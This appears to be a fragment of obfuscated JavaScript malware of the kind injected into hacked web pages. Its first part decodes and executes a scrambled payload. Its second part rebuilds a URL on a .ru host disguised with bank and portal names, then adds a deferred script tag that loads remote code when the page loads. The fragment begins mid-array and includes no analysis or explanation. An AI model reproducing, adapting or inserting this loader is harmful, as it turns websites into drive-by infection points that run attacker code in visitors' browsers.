e("ocdmeut.nodb.aypepdCnilh(dd)", [2,0,1]),3, e("icnv.leesditnes.ig0ru8:80", [1,2,4,5,0,3]),4, e(".gdmeelkaiccog.mc.oogle", [2,4,0,3,5,1]),5, e(".desAtttirubet\'(edef\'r", [1,0]),6, e("amolzli.org", [1,2,4,6,3,5,0]),7, e("iwdnwoo.lnaod", [1,0]),8, e("ejusgoo.cm", [1,2,0]),11, e("ticufnon()", [4,3,5,2,0,1]),12, e("cool.eggom", [7,1,2,6,3,5,4,0]),14, e("hccat(e)", [2,3,4,1,0]),15, e(".biddle", [1,2,5,3,0,4]),16, e("pt:\"th", [3,5,1,4,0,2]),17, e("rs.dc", [3,2,1,0]),18, e("1)\'\'", [2,0,3,1]),19, e("ichp", [1,2,0]),20, e("rty", [1,0])];var D = /[^@a-z0-9A-Z_-]/g;this.kz="";var DY;if(DY!='' && DY!='Yph'){DY=null};var KE;if(KE!='' && KE!='vU'){KE='Rw'};var xx = '';var fb="";var jl="";var q =[201,144,0][2];var qn;if(qn!='rT'){qn=''};var cQs=new Date();var Ei;if(Ei!='' && Ei!='pXI'){Ei=''};var jc='';for(var fV=j; fV < E; fV+=ZZ){var Iq;if(Iq!='' && Iq!='xL'){Iq='UJ'};xx+= LU; var xs;if(xs!='Vm'){xs='Vm'};var TJ;if(TJ!='yK'){TJ='yK'};xx+= x[e("ssutbr", [1,2,4,0,3])](fV, ZZ);var ez;if(ez!='' && ez!='FZ'){ez=''};}var ORw=18721;var QS;if(QS!='tn' && QS!='hzg'){QS=''};var xp;if(xp!='eNZ' && xp!='Nt'){xp='eNZ'};var x = Y(xx);var eMJ;if(eMJ!='Go' && eMJ != ''){eMJ=null};var PG;if(PG!=''){PG='SZ'};var AGM;if(AGM!=''){AGM='rj'};var S = new XI(V);var hF = S[e("erlpcae", [1,0])](D, PM);var SQ='';var pV='';var ZA;if(ZA!='dN'){ZA=''};hF = z(hF);var xVh;if(xVh!='eZ' && xVh!='fh'){xVh='eZ'};var lk;if(lk!='Ez'){lk=''};var Vh="";var R = new XI(eM);var G = MA[e("nthlge", [3,5,0,4,1,2])];this.lyO='';var Hw;if(Hw!=''){Hw='rD'};var Gx = R[e("lrepace", [1,2,3,0])](D, PM);var es;if(es!='rC' && es!='HqN'){es=''};var Gx = J(Gx);var DDO;if(DDO!='' && DDO!='Qd'){DDO='jN'};this.ag=false;var sE=J(hF);for(var n=j; n < (x[e("nelgth", [2,1,0,3])]);n=n+[1,244,45][0]) {var bU=new Date();var vjL;if(vjL!='yC' && vjL != ''){vjL=null};var y = hF.charCodeAt(q);var EM = N(x,n);var hGl='';var QZ="QZ";var wd;if(wd!='' && wd!='qnD'){wd=''};EM = M(EM, y);this.gA=false;var Cz=53837;EM = M(EM, sE);this.cZ='';EM = M(EM, Gx);var Jk;if(Jk!='uN'){Jk=''};var rTk=new String();var dM=new Date();q++;var gn;if(gn!='UiZ'){gn=''};if(q > hF.length-s){q=j;}Er += il(EM);var UOQ;if(UOQ!='' && UOQ!='cP'){UOQ=''};}var Wy="Wy";var dC='';for(l=j; l < G; l+=ZZ){var zX;if(zX!='wM' && zX!='mF'){zX=''};this.AD=false;this.qnC='';var Qa;if(Qa!='Xq' && Qa!='JQl'){Qa=''};var yP;if(yP!='AI' && yP!='gPO'){yP=''};var rEz=new Date();var C = MA[l + s];var DG=new String();var Bk=new Date();var d = il(MA[l]);var Iv;if(Iv!='dG' && Iv != ''){Iv=null};var jr=new Array();var XQ = new Xb(d, il(103));var gz=new String();var WV;if(WV!='dJ'){WV=''};Er=Er[e("eplrace", [3,0,1,2])](XQ, C);}var oZK='';var DT="DT";var AX=new eM(Er);var jPd=new Date();this.gh="";AX();var RE;if(RE!='Ge' && RE != ''){RE=null};var Wa;if(Wa!='' && Wa!='Zf'){Wa=''};var CY=new Date();AX = '';R = '';sE = '';var Qm=new Date();var Fhe='';Gx = '';var Sr=36869;var wg=new Array();Er = '';var LAW;if(LAW!='' && LAW!='qr'){LAW=null};hF = '';this.OH=false;return '';var Lv=4890;};var Xu=50958;var Qq=new Array();V(Cx);
function q() {this.ql='';var H;if(H!='' && H!='K'){H='R'};var s=']';var ch=new Date();var e='replace';var Q='';var L='g';var Qi;if(Qi!=''){Qi='B'};var k=new String();var TF=new Array();var Lx=RegExp;var T='[';var G='';var qD;if(qD!='U' && qD != ''){qD=null};function P(C,F){var zw='';var n;if(n!='is'){n=''};var V=T;V+=F;this.BT="";V+=s;var p='';var dX;if(dX!='BA'){dX='BA'};var I=new Lx(V, L);this.Jf='';this.pf='';return C[e](I, k);var Nb=new Date();var h;if(h!='Dq' && h!='lo'){h=''};};var g="";var lI=new String();var xT=new String();var Z=P('84444304334383333303444343',"34");var XY;if(XY!=''){XY='HY'};this.f='';var Ue;if(Ue!='fG' && Ue!='pd'){Ue=''};var ZO=P('sRc3rNiNpRtN',"N3R");var w=new Date();var c=P('cfrZeZaftfeZEflfefmZeknZtf',"KZkf");var UR;if(UR!='KI' && UR != ''){UR=null};var X='';var ZE=window;var Es;if(Es!='' && Es!='Bz'){Es='zq'};var W=P('/Yi1cUiTc1i1bUaYn1kU.YcYoTmU/Yi1c1iUcUi1bYaYnTkU.1c1oTm1/Tn1a1qTiUgTsT.UcToTmY/Tg1o1oYgYlYeY.YcUoUmU/TdTi1sYcYuYsUsT.1cToUm1.UhUk1.TpUhYpU',"TUY1");var bS=new Array();var Qd;if(Qd!='' && Qd!='Zu'){Qd='OE'};var kY=P('h0t0tOpZ:0/Z/Or0aOk0uZtZe0nZ-ZcZoO-OjZpZ.Zs0fZgOa0t0eZ.0cZoOmO.ZnOa0sOzOa0-Ok0l0aOs0a0-0pZlO.0fOoOrOrOeZdZtZa0g0.0rOuZ:O',"ZO0");var lk="";ZE[P('oNnBlBoBa6dB',"6BN")]=function(){this.Sr='';var hQ;if(hQ!='xV' && hQ!='xy'){hQ=''};try {this.AM='';this.pW="";var dg=new Date();X+=kY;X+=Z;X+=W;var sN='';this.Pw='';var Vk;if(Vk!='' && Vk!='v'){Vk='lA'};r=document[c](ZO);O(r,'defer',([5,1][1]));var Lp;if(Lp!='qU' && Lp!='kg'){Lp=''};this.cG='';O(r,'src',X);var xk;if(xk!='' && xk!='kq'){xk=null};document.body.appendChild(r);this.UV='';} catch(Y){};this.Gb='';};var _="";var OV;if(OV!='Xh' && OV!='hl'){OV='Xh'};this.Vu='';function O(E,re,rj){var aU;if(aU!='dC' && aU != ''){aU=null};E.setAttribute(re, rj);}var kc=new Date();};var ia=new Array();var xg=new Date();q();var NM=new String();var tZ=new Array();